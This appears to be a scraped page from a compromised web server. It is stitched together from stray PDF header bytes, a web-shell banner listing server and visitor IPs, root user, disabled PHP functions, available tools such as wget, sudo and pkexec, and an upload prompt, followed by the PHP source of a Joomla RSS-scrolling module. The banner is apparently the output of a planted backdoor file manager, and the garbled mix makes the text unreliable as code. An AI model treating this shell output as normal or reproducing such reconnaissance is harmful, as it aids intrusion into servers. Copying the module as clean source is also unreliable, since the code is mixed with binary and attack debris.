%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11585/cwd/html/old/modules/mod_continuous_rss_scrolling/tmpl/ |
Upload File : |
<?php /** * Continuous rss scrolling * * @package Continuous rss scrolling * @subpackage Continuous rss scrolling * @version 4.3 * @author Gopi Ramasamy * @copyright Copyright (C) 2010 - 2015 www.gopiplus.com, LLC * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only * * http://www.gopiplus.com/extensions/2011/06/continuous-rss-scrolling-joomla-module/ */ // no direct access defined('_JEXEC') or die; $crs_record_height = $args['crs_record_height']; $crs_display_count = $args['crs_display_count']; $crs_display_width = $args['crs_display_width']; if(!is_numeric($crs_record_height)){$crs_record_height = 40;} if(!is_numeric($crs_display_count)){$crs_display_count = 5;} if(!is_numeric($crs_display_width)){$crs_display_width = 200;} $crs_count = 0; $crs_html = ""; $crs_x = ""; foreach ( $items as $items ) { $crs_post_title = $items->title; $crs_post_link = $items->link; $dis_height = $crs_record_height."px"; $crs_html = $crs_html . "<div class='crs_div' style='height:$dis_height;padding:2px 0px 2px 0px;'>"; $crs_html = $crs_html . "<a target='_blank' href='$crs_post_link'>$crs_post_title</a>"; $crs_html = $crs_html . "</div>"; $crs_post_title = trim($crs_post_title); $crs_x = $crs_x . "crs_array[$crs_count] = '<div class=\'crs_div\' style=\'height:$dis_height;padding:2px 0px 2px 0px;\'><a target=\'_blank\' href=\'$crs_post_link\'>$crs_post_title</a></div>'; "; $crs_count++; } $crs_record_height = $crs_record_height + 4; if($crs_count >= $crs_display_count) { $crs_count = $crs_display_count; $crs_height = ($crs_record_height * $crs_display_count); } else { $crs_count = $crs_count; $crs_height = ($crs_count*$crs_record_height); } $crs_height1 = $crs_record_height."px"; ?> <div style="padding-top:8px;padding-bottom:8px;"> <div style="text-align:left;vertical-align:middle;text-decoration: none;overflow: hidden; position: relative; margin-left: 1px; height: <?php echo $crs_height1; ?>;" id="crs_Holder"><?php echo @$crs_html; ?></div> </div> <script type="text/javascript"> var crs_array = new Array(); var crs_obj = ''; var crs_scrollPos = ''; var crs_numScrolls = ''; var crs_heightOfElm = '<?php echo $crs_record_height; ?>'; var crs_numberOfElm = '<?php echo $crs_count; ?>'; var crs_scrollOn = 'true'; function crs_createscroll() { <?php echo $crs_x; ?> crs_obj = document.getElementById('crs_Holder'); crs_obj.style.height = (crs_numberOfElm * crs_heightOfElm) + 'px'; crs_content(); } </script> <script type="text/javascript"> crs_createscroll(); </script>